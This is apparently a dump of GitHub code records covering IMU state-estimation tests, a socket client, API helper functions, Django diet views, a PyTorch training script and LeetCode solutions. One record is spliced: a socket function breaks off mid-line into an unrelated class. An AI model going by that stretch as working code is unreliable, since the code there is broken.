gtsam.symbol_shorthand import B, X\nfrom gtsam.utils import test_case\n\nfrom dyne import datasets\nfrom dyne.arguments import parse_config\nfrom dyne.state_estimator import BaseImu, RobotImu\nfrom dyne.utils import load_imu_params\n\n# from dyne.utils import estimate_initial_biases, load_imu_params\n\nnp.set_printoptions(precision=8, suppress=True)\nnp.set_string_function(lambda x: repr(x).replace('(', '').replace(')', '').\n replace('array', '').replace(\" \", ' '),\n repr=False)\n\nDATA_DIR = Path(__file__).parent.parent.absolute() / \"data\"\nFIXTURES_DIR = Path(__file__).parent.absolute() / \"fixtures\"\nMODEL_DIR = Path(__file__).parent.parent.absolute() / \"models\"\n\n\nclass TestBaseStateEstimatorA1(test_case.GtsamTestCase):\n \"\"\"Test the state_estimator.BaseImu class on the A1 dataset.\"\"\"\n\n def setUp(self):\n test_data = FIXTURES_DIR\n config_file = test_data / \"config.yaml\"\n\n config = parse_config(config_file)\n\n imu_yaml = test_data / config.imu_yaml\n self.imu_params = load_imu_params(imu_yaml)\n\n self.bTs = self.imu_params[\"pose\"]\n\n measurements_file = test_data / \"a1_walking_straight.npz\"\n ground_truth_file = test_data / \"a1_walking_straight.npz\"\n self.robot_file = str(MODEL_DIR / \"a1.urdf\")\n\n self.dataset = datasets.PybulletDataset(measurements_file,\n ground_truth_file,\n skip=config.skip,\n robot_file=self.robot_file,\n bRs=self.bTs.rotation())\n\n self.ground_truth_states = self.dataset.states\n\n self.acc_bias = np.asarray(\n self.imu_params[\"accelerometer\"][\"bias\"][\"mean\"])\n self.gyro_bias = np.asarray(\n self.imu_params[\"gyroscope\"][\"bias\"][\"mean\"])\n self.bias = gtsam.imuBias.ConstantBias(self.acc_bias, self.gyro_bias)\n\n self.robot_file = Path(config.robot_file)\n\n self.base_imu = RobotImu(\n self.imu_params[\"rate_hz\"], #\n self.imu_params[\"gyroscope\"][\"noise\"][\"stddev\"], #\n self.imu_params[\"accelerometer\"][\"noise\"][\"stddev\"], #\n self.imu_params[\"pose\"],\n bias=self.bias)\n self.estimator = BaseImu(self.base_imu)\n\n self.dt = 1 / self.base_imu.freq\n\n def test_constructor(self):\n \"\"\"Test state estimator constructor.\"\"\"\n estimator = BaseImu(self.base_imu)\n self.assertIsInstance(estimator, BaseImu)\n\n def integrate_measurement(self, measured_omega, measured_acc, nRb, bTs,\n nPb_i, nVb_i):\n \"\"\"Utility function to perform measurement preintegration.\"\"\"\n unbiased_acc = gtsam.Point3(measured_acc - self.bias.accelerometer())\n unbiased_omega = gtsam.Point3(measured_omega - self.bias.gyroscope())\n\n # correct measurement by sensor pose\n bRs = bTs.rotation()\n corrected_acc = bRs.rotate(unbiased_acc)\n corrected_omega = bRs.rotate(unbiased_omega)\n\n def skew(x):\n \"\"\"Convert ndarray `x` to a skew-symmetric matrix.\"\"\"\n return np.array([[0, -x[2], x[1]], [x[2], 0, -x[0]],\n [-x[1], x[0], 0]])\n\n # account for centrifugal acceleration\n body_omega_body = skew(corrected_omega)\n b_arm = bTs.translation()\n b_velocity_bs = body_omega_body @ b_arm\n corrected_acc = gtsam.Point3(corrected_acc -\n (body_omega_body @ b_velocity_bs))\n\n # time to update the preintegrated measurements\n a_body = corrected_acc\n\n # convert acceleration from sensor frame to nav frame\n a_nav = nRb.rotate(a_body)\n\n nPb_j = nPb_i + (nVb_i * self.dt) + \\\n (a_nav * 0.5 * self.dt * self.dt)\n\n nVb_j = nVb_i + (a_nav * self.dt)\n\n return nPb_j, nVb_j\n\n def test_preintegrate_single_measurement(self):\n \"\"\"Test preintegration of a single measuremnt.\"\"\"\n pim = gtsam.PreintegratedImuMeasurements(\n self.estimator.base_imu().pim_params(),\n self.estimator.base_imu().previous_bias)\n measured_omega = self.dataset.angular_velocity[0]\n measured_acc = self.dataset.linear_acceleration[0]\n body_P_sensor = self.bTs\n\n dV_i = pim.deltaVij()\n nPb_i = pim.deltaPij()\n nRb = pim.deltaRij()\n\n pim.integrateMeasurement(measured_acc, measured_omega, self.dt)\n\n self.assertEqual(pim.deltaTij(), self.dt)\n\n nPb_j, nVb_j = self.integrate_measurement(measured_omega, measured_acc,\n nRb, body_P_sensor, nPb_i,\n dV_i)\n\n # velocity in the nav frame\n dV = pim.deltaVij()\n npt.assert_allclose(dV, nVb_j)\n\n npt.assert_allclose(nPb_j, pim.deltaPij())\n\n # the valkyrie slow walk is in a straight line\n # so no rotation expected if bias is zero\n expected_rotation_ypr = np.asarray([0.0000007, 0.00017101, -0.0000056])\n npt.assert_allclose(pim.deltaRij().ypr(),\n expected_rotation_ypr,\n atol=1e-6)\n\n bias = pim.biasHat()\n npt.assert_allclose(bias.accelerometer(), self.acc_bias)\n npt.assert_allclose(bias.gyroscope(), self.gyro_bias)\n\n expected_measurement_covariance = np.zeros((9, 9))\n expected_measurement_covariance[0:3, 0:3] = np.eye(3) * 1e-8\n expected_measurement_covariance[-3:, -3:] = np.eye(3) * 1e-8\n npt.assert_allclose(pim.preintMeasCov(),\n expected_measurement_covariance,\n atol=1e-8)\n\n def test_preintegrate_measurements(self):\n \"\"\"Test measurement preintegration.\"\"\"\n T = 5 # second(s)\n pim = gtsam.PreintegratedImuMeasurements(\n self.estimator.base_imu().pim_params(),\n self.estimator.base_imu().previous_bias)\n\n nRb = pim.deltaRij()\n nPb = pim.deltaPij()\n nVb = pim.deltaVij()\n\n for k, _ in enumerate(np.arange(0, T, self.dt)):\n measured_omega = self.dataset.angular_velocity[k]\n measured_acc = self.dataset.linear_acceleration[k]\n\n nRb = pim.deltaRij()\n\n pim.integrateMeasurement(measured_acc, measured_omega, self.dt)\n\n nPb, nVb = self.integrate_measurement(measured_omega, measured_acc,\n nRb, self.bTs, nPb, nVb)\n\n npt.assert_allclose(nVb, pim.deltaVij())\n npt.assert_allclose(nPb, pim.deltaPij())\n\n def test_preintegrate_measurements_with_bias(self):\n \"\"\"Test preintegration with bias.\"\"\"\n acc_bias = np.asarray(self.imu_params[\"accelerometer\"][\"bias\"][\"mean\"])\n gyro_bias = np.asarray(self.imu_params[\"gyroscope\"][\"bias\"][\"mean\"])\n bias = gtsam.imuBias.ConstantBias(acc_bias, gyro_bias)\n imu = RobotImu(\n self.imu_params[\"rate_hz\"], #\n self.imu_params[\"gyroscope\"][\"noise\"][\"stddev\"], #\n self.imu_params[\"accelerometer\"][\"noise\"][\"stddev\"], #\n self.imu_params[\"pose\"],\n bias=bias)\n self.estimator = BaseImu(imu)\n\n def test_state_estimation(self):\n \"\"\"Test the base state estimator.\"\"\"\n T = 5\n estimator = BaseImu(base_imu=self.base_imu, estimation_rate=20)\n\n estimator.set_prior_state(self.ground_truth_states[0])\n\n # simulate the data loop\n for k, _ in enumerate(np.arange(0, T - self.dt, self.dt)):\n measured_omega = self.dataset.angular_velocity[k]\n measured_acc = self.dataset.linear_acceleration[k]\n\n estimator.step(k, measured_omega, measured_acc)\n\n result = estimator.optimize()\n\n self.assertIsInstance(result, gtsam.Values)\n self.gtsamAssertEquals(result.atPose3(X(0)),\n self.ground_truth_states[0].pose(),\n tol=1e-2)\n\n t1 = int(estimator.rate()) - 1\n self.gtsamAssertEquals(result.atPose3(X(1)),\n self.ground_truth_states[t1].pose(),\n tol=1e-2)\n\n t2 = 2 * int(estimator.rate()) - 1\n self.gtsamAssertEquals(result.atPose3(X(2)),\n self.ground_truth_states[t2].pose(),\n tol=1e-2)\n\n t3 = 3 * int(estimator.rate())\n self.gtsamAssertEquals(result.atPose3(X(2)),\n self.ground_truth_states[t3].pose(),\n tol=1e-1)\n\n # regression\n npt.assert_allclose(estimator.graph().error(result), 1e-10, atol=1e-10)\n\n def test_incremental(self):\n \"\"\"Test incremental state estimation.\"\"\"\n T = 3\n estimator = BaseImu(base_imu=self.base_imu, estimation_rate=20)\n\n estimator.set_prior_state(self.ground_truth_states[0])\n\n # simulate the data loop\n for k, _ in enumerate(np.arange(0, T - self.dt, self.dt)):\n measured_omega = self.dataset.angular_velocity[k]\n measured_acc = self.dataset.linear_acceleration[k]\n\n estimator.step(k, measured_omega, measured_acc)\n\n if estimator.imu_factor_added():\n result = estimator.update()\n\n self.assertIsInstance(result, gtsam.Values)\n self.gtsamAssertEquals(result.atPose3(X(0)),\n self.ground_truth_states[0].pose(),\n tol=1e-2)\n\n t1 = int(estimator.rate()) - 1\n self.gtsamAssertEquals(result.atPose3(X(1)),\n self.ground_truth_states[t1].pose(),\n tol=1e-2)\n\n t2 = 2 * int(estimator.rate()) - 1\n self.gtsamAssertEquals(result.atPose3(X(2)),\n self.ground_truth_states[t2].pose(),\n tol=1e-2)\n\n t3 = 3 * int(estimator.rate())\n self.gtsamAssertEquals(result.atPose3(X(2)),\n self.ground_truth_states[t3].pose(),\n tol=1e-1)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"varunagrawal/dyne","sub_path":"tests/test_base_state_estimator.py","file_name":"test_base_state_estimator.py","file_ext":"py","file_size_in_byte":10443,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"3048590685","text":"#listen iterieren \r\n\r\nliste = [[1, 2, 3],\r\n [4, 5, 6],\r\n [7, 8, 9]]\r\n\r\n#range(n) => [0, 1, 2, ..., n] nicht inklusive n\r\n#0 \r\n#1\r\n#2\r\n\r\nspalte = 2\r\n\r\nfor i in range(3):\r\n print(i, liste[i][spalte])\r\n #print(i, liste[][i])\r\n\r\n","repo_name":"MUDOG1/4Connect","sub_path":"VierGewinnt/listen.py","file_name":"listen.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22805327784","text":"import os\n\nfrom parsl.data_provider.files import File\n\n\ndef test_files():\n fp = os.path.abspath('test_file.py')\n strings = [{'f': 'file:///test_file.py', 'scheme': 'file', 'path': '/test_file.py'},\n {'f': './test_file.py', 'scheme': 'file', 'path': './test_file.py'},\n {'f': fp, 'scheme': 'file', 'path': fp},\n ]\n\n for test in strings:\n x = File(test['f'])\n assert x.scheme == test['scheme'], \"[TEST] Scheme error. Expected {0} Got {1}\".format(\n test['scheme'], x.scheme)\n assert x.filepath == test['path'], \"[TEST] Path error. Expected {0} Got {1}\".format(\n test['path'], x.path)\n\n\nif __name__ == '__main__':\n\n test_files()\n","repo_name":"kylechard/parsl","sub_path":"parsl/tests/test_data/test_file.py","file_name":"test_file.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"74989136667","text":"import socket\nimport struct\n\nhost = '127.0.0.1'\nport = 5656\nbuffer_size = 1024\n\ndef size_file(server: socket.socket):\n \n fmt = \"\" % self.type\n\n def pack(self):\n \"\"\"\n PACK: pack Caracow object into a structure\n\n see also: Caracow\n \"\"\"\n return struct(type=self.type, tag=self.tag, par=self.par,\n data=self.data, work=self.work)\n\n\n#===============================================================================\n# class Carashit\n#===============================================================================\n\nclass Carashit:\n def __init__(self):\n self.shit = '*** bullshit ***'\n\n#===============================================================================\n# setup neural playground\n#===============================================================================\n\"\"\"\nprint(\"setting up neural playground ...\")\n\nimport carabao\nimport carabao.screen\nimport carabao.cell\n\nimport importlib\nimportlib.reload(carabao.screen) # reload module\nimportlib.reload(carabao.cell) # reload module\n\nprint(\"... packages reloaded\")\n\"\"\"\n","repo_name":"ihux/carabao-utils","sub_path":"carabao/src/carabao/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29351838389","text":"\"\"\"\nhelper.py\n=========\nHelper functions for the bookkeeper service.\n\"\"\"\n\n# Standard python includes\nfrom typing import Any\nimport datetime\nimport json\n\n# Starlette-related includes\nfrom starlette.responses import JSONResponse\n\n\nclass CustomJSONEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, datetime.datetime):\n return obj.strftime(\"%Y-%m-%d %H:%M:%S\")\n elif isinstance(obj, datetime.date):\n return obj.strftime(\"%Y-%m-%d\")\n else:\n try:\n dict_ = dict(obj)\n except TypeError:\n pass\n else:\n return dict_\n return super(CustomJSONEncoder, self).default(obj)\n\n\nclass CustomJSONResponse(JSONResponse):\n def render(self, content: Any) -> bytes:\n return json.dumps(content, cls=CustomJSONEncoder).encode(\"utf-8\")\n\n","repo_name":"mercure-imaging/mercure","sub_path":"bookkeeping/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"11"} +{"seq_id":"42641073142","text":"\"\"\" Contains functions to fetch info from different simple online APIs.\"\"\"\nimport util.web\n\n\ndef urbandictionary_search(search):\n \"\"\"\n Searches urbandictionary's API for a given search term.\n :param search: The search term str to search for.\n :return: defenition str or None on no match or error.\n \"\"\"\n if str(search).strip():\n urban_api_url = 'http://api.urbandictionary.com/v0/define?term=%s' % search\n response = util.web.http_get(url=urban_api_url, json=True)\n if response['json'] is not None:\n try:\n definition = response['json']['list'][0]['definition']\n return definition.encode('ascii', 'ignore')\n except (KeyError, IndexError):\n return None\n else:\n return None\n\n\ndef weather_search(city):\n \"\"\"\n Searches worldweatheronline's API for weather data for a given city.\n You must have a working API key to be able to use this function.\n\n :param city: The city str to search for.\n :return: weather data str or None on no match or error.\n \"\"\"\n if str(city).strip():\n api_key = ''\n if not api_key:\n return 'Missing api key.'\n else:\n weather_api_url = 'http://api.worldweatheronline.com/premium/v1/weather.ashx?key=%s&q=%s&format=json' % \\\n (api_key, city)\n\n response = util.web.http_get(url=weather_api_url, json=True)\n if response['json'] is not None:\n try:\n pressure = response['json']['data']['current_condition'][0]['pressure']\n temp_c = response['json']['data']['current_condition'][0]['temp_C']\n temp_f = response['json']['data']['current_condition'][0]['temp_F']\n query = response['json']['data']['request'][0]['query'].encode('ascii', 'ignore')\n result = '%s. Temperature: %sC (%sF) Pressure: %s millibars' % (query, temp_c, temp_f, pressure)\n return result\n except (IndexError, KeyError):\n return None\n else:\n return None\n\n\ndef whois(ip):\n \"\"\"\n Searches ip-api for information about a given IP.\n :param ip: The ip str to search for.\n :return: information str or None on error.\n \"\"\"\n if str(ip).strip():\n url = 'http://ip-api.com/json/%s' % ip\n response = util.web.http_get(url=url, json=True)\n if response['json'] is not None:\n try:\n city = response['json']['city']\n country = response['json']['country']\n isp = response['json']['isp']\n org = response['json']['org']\n region = response['json']['regionName']\n zipcode = response['json']['zip']\n info = country + ', ' + city + ', ' + region + ', Zipcode: ' + zipcode + ' Isp: ' + isp + '/' + org\n return info\n except KeyError:\n return None\n else:\n return None\n\n\ndef chuck_norris():\n \"\"\"\n Finds a random Chuck Norris joke/quote.\n :return: joke str or None on failure.\n \"\"\"\n url = 'http://api.icndb.com/jokes/random/?escape=javascript'\n response = util.web.http_get(url=url, json=True)\n if response['json'] is not None:\n if response['json']['type'] == 'success':\n joke = response['json']['value']['joke']\n return joke\n return None\n","repo_name":"nortxort/tinybot-rtc","sub_path":"apis/other.py","file_name":"other.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"72788319388","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.exceptions import NotFound\nfrom datetime import datetime\nfrom dateutil.relativedelta import *\nfrom . import serializers\nfrom users.serializers import UserSerializer\nfrom .models import DietList, SelectedDiet, QuantityMultiple\nfrom users.models import User\n\n\nclass DietView(APIView):\n def get(self, request):\n specific_date = request.query_params.get(\"created_date\", \"\")\n\n diet_saved_date=DietList.objects.filter(user=request.user).values_list(\"created_date\", flat=True).order_by(\"created_date\").distinct()\n\n diets = DietList.objects.filter(user=request.user, created_date=specific_date)\n serializer = serializers.DietSerializer(diets, many=True)\n\n user = User.objects.get(id=request.user.id)\n user_serializer = UserSerializer(user)\n\n return Response(\n {\n \"data\": serializer.data,\n \"diet_saved_date\": diet_saved_date,\n \"user_weight\": request.user.weight,\n \"user_recommended_calorie\": user_serializer.data[\"recommended_calorie\"],\n },\n status=status.HTTP_200_OK,\n )\n \n # def get(self, request):\n # dietlist = DietList.objects.filter(user=request.user)\n # serializer = serializers.DietSerializer(dietlist, many=True)\n # return Response(serializer.data, status=status.HTTP_200_OK)\n\n def post(self, request):\n serializer = serializers.DietSerializer(data=request.data)\n if serializer.is_valid():\n # meal_category 중복 예외처리\n if DietList.objects.filter(\n user=request.user,\n created_date=request.data[\"created_date\"],\n meal_category=request.data[\"meal_category\"],\n ).exists():\n return Response(\n {\"errors\": \"님 오늘 이미 그거 먹었음\"}, status=status.HTTP_400_BAD_REQUEST\n )\n else:\n # selected_diet 빈 배열 예외처리\n if request.data[\"selected_diet\"]:\n diet_list_instance = serializer.save(user=request.user)\n selected_diets_data = request.data.get(\"selected_diet\", [])\n for selected_diet_data in selected_diets_data:\n selectedDiet, created = SelectedDiet.objects.get_or_create(\n food_name=selected_diet_data[\"food_name\"],\n defaults={\n \"food_calorie\": selected_diet_data[\"food_calorie\"],\n \"food_gram\": selected_diet_data[\"food_gram\"],\n },\n )\n\n QuantityMultiple.objects.create(\n diet_list=diet_list_instance,\n selected_diet=selectedDiet,\n food_quantity=selected_diet_data[\"food_quantity\"],\n )\n # serializer.selected_diet.add(selectedDiet.id) # manytomany field는 add/remove\n # diet.selected_diet.add(selectedDiet.id)\n\n serializer = serializers.DietSerializer(diet_list_instance)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(\n {\"errors\": \"음식을 선택하지 않았습니다.\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n # 수량, selected_diet 수정\n def put(self, request):\n created_date = request.query_params.get(\"created_date\", \"\")\n meal_category = request.query_params.get(\"meal_category\", \"\")\n diets = DietList.objects.get(\n user=request.user,\n created_date=created_date,\n meal_category=meal_category, \n )\n diets.meal_calorie=request.data[\"meal_calorie\"]\n diets.save()\n\n if request.data[\"modified_diet\"]:\n for modified_diet in request.data[\"modified_diet\"]:\n selected_id = SelectedDiet.objects.get(food_name=modified_diet[\"selected_diet\"][\"food_name\"])\n quantity = diets.quantitymultiple_set.get(selected_diet=selected_id.id)\n quantity.food_quantity = modified_diet[\"food_quantity\"]\n quantity.save()\n\n if request.data[\"deleted_diet\"]:\n for deleted_diet in request.data[\"deleted_diet\"]:\n selected_id = SelectedDiet.objects.get(food_name=deleted_diet[\"selected_diet\"][\"food_name\"])\n diets.quantitymultiple_set.get(selected_diet=selected_id.id).delete()\n\n if request.data[\"selected_diet\"]:\n for selected_diet_data in request.data[\"selected_diet\"]:\n selectedDiet, created = SelectedDiet.objects.get_or_create(\n food_name=selected_diet_data[\"selected_diet\"][\"food_name\"],\n defaults={\n \"food_calorie\": selected_diet_data[\"selected_diet\"][\"food_calorie\"],\n \"food_gram\": selected_diet_data[\"selected_diet\"][\"food_gram\"],\n },\n )\n\n QuantityMultiple.objects.create(\n diet_list=diets,\n selected_diet=selectedDiet,\n food_quantity=selected_diet_data[\"food_quantity\"],\n )\n\n serializer = serializers.DietSerializer(diets)\n return Response(serializer.data, status=status.HTTP_202_ACCEPTED)\n\n\n def delete(self, request):\n created_date = request.query_params.get(\"created_date\", \"\")\n meal_category = request.query_params.get(\"meal_category\", \"\")\n diets = DietList.objects.get(\n user=request.user, created_date=created_date, meal_category=meal_category\n )\n diets.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass ReviewView(APIView):\n def put(self, request):\n created_date = request.query_params.get(\"created_date\", \"\")\n specific_reviews = DietList.objects.filter(\n created_date=created_date, user=request.user\n )\n for review in specific_reviews:\n review.daily_review = request.data[\"daily_review\"]\n review.save()\n serializer = serializers.ReviewPutSerializer(specific_reviews, many=True)\n return Response(serializer.data, status=status.HTTP_202_ACCEPTED)","repo_name":"remeo08/CALS_BACKEND","sub_path":"diets/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"45187386700","text":"# 2691 - O Matemático\nfor _ in range(int(input())):\n x, y = map(int, input().split('x'))\n if x != y:\n for i in range(5, 11):\n print('{} x {} = {} && {} x {} = {}'.format(x, i, x * i, y, i, y * i))\n else:\n for i in range(5, 11):\n print('{} x {} = {}'.format(x, i, x * i))\n\n\"\"\"\nBALSAQUE\nfor _ in range( int(input()) ):\n numeros = list(map( int,input().split(\"x\") ))\n\n if len(set(numeros))==1:\n numeros = numeros[:-1]\n\n for i in range(5,10+1):\n print( \" && \".join([ str(numero)+\" x \"+str(i)+\" = \"+str(numero*i) for numero in numeros ]) )\n\"\"\"","repo_name":"bonizario/uri-solutions","sub_path":"tournaments/2020/Torneio 2 - FEELT (UFU)/2691.py","file_name":"2691.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"34647501335","text":"import argparse\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nfrom utils import(\n# load_checkpoint,\n# save_checkpoint,\n get_loaders,\n# check_accuracy,\n save_validation_inference_imgs,\n save_predictions_as_csv,\n)\n\n\n# Hyperparameters etc.\nDEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nPIN_MEMORY = True\nLOAD_MODEL = False\nTRAIN_IMG_DIR = \"data/train_img/\"\nVAL_IMG_DIR = \"data/val_img/\"\nTRAINING_ANNOTATION = \"data/training_annotation.json\"\nVALIDATION_ANNOTATION =\"data/validation_annotation.json\"\n\ndef train_fn(loader, model, optimizer, loss_fn, writer, tensorboard_step, scaler):\n \n loop = tqdm(loader)\n\n for data in loop:\n\n img = data['image'].to(DEVICE)\n target_width = data['resized_width'].float().to(DEVICE)\n target_height = data['resized_height'].float().to(DEVICE)\n \n # forward\n #with torch.cuda.amp.autocast():\n predictions = model(img)\n width_hat = predictions['label_width']\n height_hat = predictions['label_height']\n if torch.isnan(width_hat).any():\n print('NaN in width prediction')\n if torch.isnan(height_hat).any():\n print('NaN in height prediction')\n loss_width = loss_fn(width_hat, target_width.squeeze(axis = 1))#.squeeze().type(torch.LongTensor))\n loss_height = loss_fn(height_hat, target_height.squeeze(axis = 1))#.squeeze().type(torch.LongTensor))\n loss = loss_width + loss_height\n # backward\n optimizer.zero_grad() # Zero out gradients\n if MIXED_PRECISION == 0:\n loss.backward() # Compute derivatives # scaler.scale(loss).backward()\n optimizer.step() # Take a step # scaler.step(optimizer)\n elif MIXED_PRECISION == 1:\n scaler.scale(loss).backward()\n scaler.step(optimizer)\n scaler.update()\n else:\n raise ValueError('Invalid mix-precision argument')\n\n # Write losses to tensorboard\n writer.add_scalar('Training overall loss', loss, global_step = tensorboard_step)\n writer.add_scalar('Training width loss', loss_width, global_step = tensorboard_step)\n writer.add_scalar('Training height loss', loss_height, global_step = tensorboard_step)\n\n # update tqdm loop\n loop.set_postfix(loss=loss.item())\n\ndef val_fn(loader, model, loss_fn, writer, tensorboard_step, scheduler):\n\n model.eval()\n val_losses = []\n\n\n for idx, data in enumerate(loader):\n\n img = data['image'].to(DEVICE)\n target_width = data['resized_width'].float().to(DEVICE)\n target_height = data['resized_height'].float().to(DEVICE)\n\n with torch.no_grad():\n predictions = model(img)\n width_hat = predictions['label_width']\n height_hat = predictions['label_height']\n loss_width = loss_fn(width_hat, target_width.squeeze(axis = 1))#.squeeze().type(torch.LongTensor))\n loss_height = loss_fn(height_hat, target_height.squeeze(axis = 1))#.squeeze().type(torch.LongTensor))\n loss = loss_width + loss_height\n\n val_losses.append(loss)\n\n # Write losses to tensorboard\n writer.add_scalar('Validation overall loss', loss, global_step = tensorboard_step)\n writer.add_scalar('Validation width loss', loss_width, global_step = tensorboard_step)\n writer.add_scalar('Validation height loss', loss_height, global_step = tensorboard_step)\n\n mean_val_loss = sum(val_losses) / len(val_losses)\n scheduler.step(mean_val_loss)\n\ndef main():\n\n if ARCHITECTURE == 'ResNet50':\n from models.ResNetCustom import ResNet50\n model = ResNet50(num_classes = 1, channels=1, out_act = None).to(DEVICE)\n elif ARCHITECTURE == 'ResNet34':\n from models.ResNet34 import ResNet34, ResBlock\n model = ResNet34(in_channels=1, resblock = ResBlock, out_act = None).to(DEVICE)\n elif ARCHITECTURE == 'ResNet18':\n from models.ResNet18 import ResNet18, ResBlock\n model = ResNet18(in_channels=1, resblock = ResBlock, out_act = None).to(DEVICE)\n elif ARCHITECTURE == 'SimpleCNN':\n from models.CNN_model_big import Resize_CNN\n model = Resize_CNN(in_channels=1).to(DEVICE)\n elif ARCHITECTURE == 'ResNet101':\n from models.ResNetCustom import ResNet101\n model = ResNet101(num_classes = 1, channels=1, out_act = None).to(DEVICE)\n elif ARCHITECTURE == 'ResNet152':\n from models.ResNetCustom import ResNet152\n model = ResNet152(num_classes = 1, channels=1, out_act = None).to(DEVICE)\n else:\n raise ValueError('Please specify valid architecture')\n\n # Initialize loss function and optimizer\n loss_fn = nn.MSELoss()\n optimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, patience=5, verbose=True)\n\n # Define tenorboard writer\n writer = SummaryWriter(MODEL_PATH)\n\n # Get the data loaders\n train_loader, val_loader = get_loaders(\n train_dir= TRAIN_IMG_DIR,\n training_annotation = TRAINING_ANNOTATION,\n val_dir = VAL_IMG_DIR,\n validation_annotation = VALIDATION_ANNOTATION,\n batch_size = BATCH_SIZE,\n validation_size = VALIDATION_SIZE,\n num_workers = NUM_WORKERS,\n pin_memory = PIN_MEMORY,\n transform=AUGMENT\n )\n\n scaler = torch.cuda.amp.GradScaler()\n\n # Do the training iterations\n step = 0\n for epoch in range(NUM_EPOCHS):\n print(f'Epoch:{epoch}\\n')\n train_fn(train_loader, model, optimizer, loss_fn, writer, step, scaler) \n val_fn(val_loader, model, loss_fn, writer, step, scheduler)\n step += 1\n\n # Save the model to runs folder in base format\n torch.save(model, f'runs/training/{ARCHITECTURE}_{MODEL_NAME}_{NUM_EPOCHS}/{MODEL_NAME}_store.zip')\n\n # Print the last epoch results to csv \n if VALIDATION_SIZE >= 1:\n # Save results to csv\n save_predictions_as_csv(val_loader, model, model_folder=MODEL_PATH, device=DEVICE)\n save_validation_inference_imgs(MODEL_PATH, RESIZE_SIZE)\n \nif __name__ == '__main__':\n # Empty the cuda cache\n torch.cuda.empty_cache()\n #torch.autograd.set_detect_anomaly(True)\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--epochs', type=int, default=50)\n parser.add_argument('--resize', type=int)\n parser.add_argument('--batch-size', type=int, default=8)\n parser.add_argument('--lr', type=float, default=1e-4)\n parser.add_argument('--val-size', type=int, default=5, help='Number of validation images to do inference on')\n parser.add_argument('--workers', type = int, default=4)\n parser.add_argument('--name', help='Name of training run')\n parser.add_argument('--architecture', default='ResNet50', help = 'Name of the used architecture. See folder models for more.')\n parser.add_argument('--mix-precision', type = int, default=0, help='If training should use mixed precision floats')\n parser.add_argument('--out-act', default=None, help='The activation on the output node: either linear or sigmoid')\n parser.add_argument('--augment', default=None, help = 'Use data augmentations')\n\n opt = parser.parse_args()\n\n # User arguments\n LEARNING_RATE = opt.lr\n BATCH_SIZE = opt.batch_size\n VALIDATION_SIZE = opt.val_size\n NUM_EPOCHS = opt.epochs\n NUM_WORKERS = opt.workers\n MODEL_NAME = str(opt.name)\n RESIZE_SIZE = opt.resize\n ARCHITECTURE = opt.architecture\n MIXED_PRECISION = opt.mix_precision\n ACTIVATION = opt.out_act if opt.out_act is None else str(opt.out_act)\n AUGMENT = opt.augment\n eps = 1e-10\n\n # Derived arguments \n MODEL_PATH = f'runs/training/{ARCHITECTURE}_{MODEL_NAME}_{NUM_EPOCHS}'\n # Make run folder\n if not os.path.exists(MODEL_PATH):\n os.makedirs(MODEL_PATH)\n\n main()","repo_name":"TheodorEmanuelsson/FractureLocalization","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7926,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"25389180561","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n#================== Recurison ==================\n# Time: O(n)\n# Space: O(n)\n# Running time: ~200ms\nclass Solution(object):\n def buildTree(self, preorder, inorder):\n \"\"\"\n :type preorder: List[int]\n :type inorder: List[int]\n :rtype: TreeNode\n \"\"\"\n if not preorder or not inorder:\n return None\n \n root = TreeNode(preorder[0])\n del preorder[0]\n inorder_idx = inorder.index(root.val)\n \n root.left = self.buildTree(preorder, inorder[:inorder_idx])\n root.right = self.buildTree(preorder, inorder[inorder_idx + 1:])\n \n return root\n","repo_name":"HotsauceLee/Leetcode","sub_path":"DS/Tree/Medium/R__105.Construct_Binary_Tree_from_Preorder_and_Inorder_Traversal.py","file_name":"R__105.Construct_Binary_Tree_from_Preorder_and_Inorder_Traversal.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"42982678936","text":"class Solution:\n def maxProfit(self, k: int, prices) -> int:\n n = len(prices) \n if n == 0: return 0 \n if k > n/2: return sum(max(0, prices[i + 1] - prices[i]) for i in range(len(prices) - 1)) \n buy = [float(\"-inf\")]*(k+1) \n buy[0] = 0 \n sell = [0]*(k+1) \n for p in prices: \n for i in range(1, k+1): \n buy[i] = max(buy[i], sell[i-1] - p) \n sell[i] = max(sell[i], 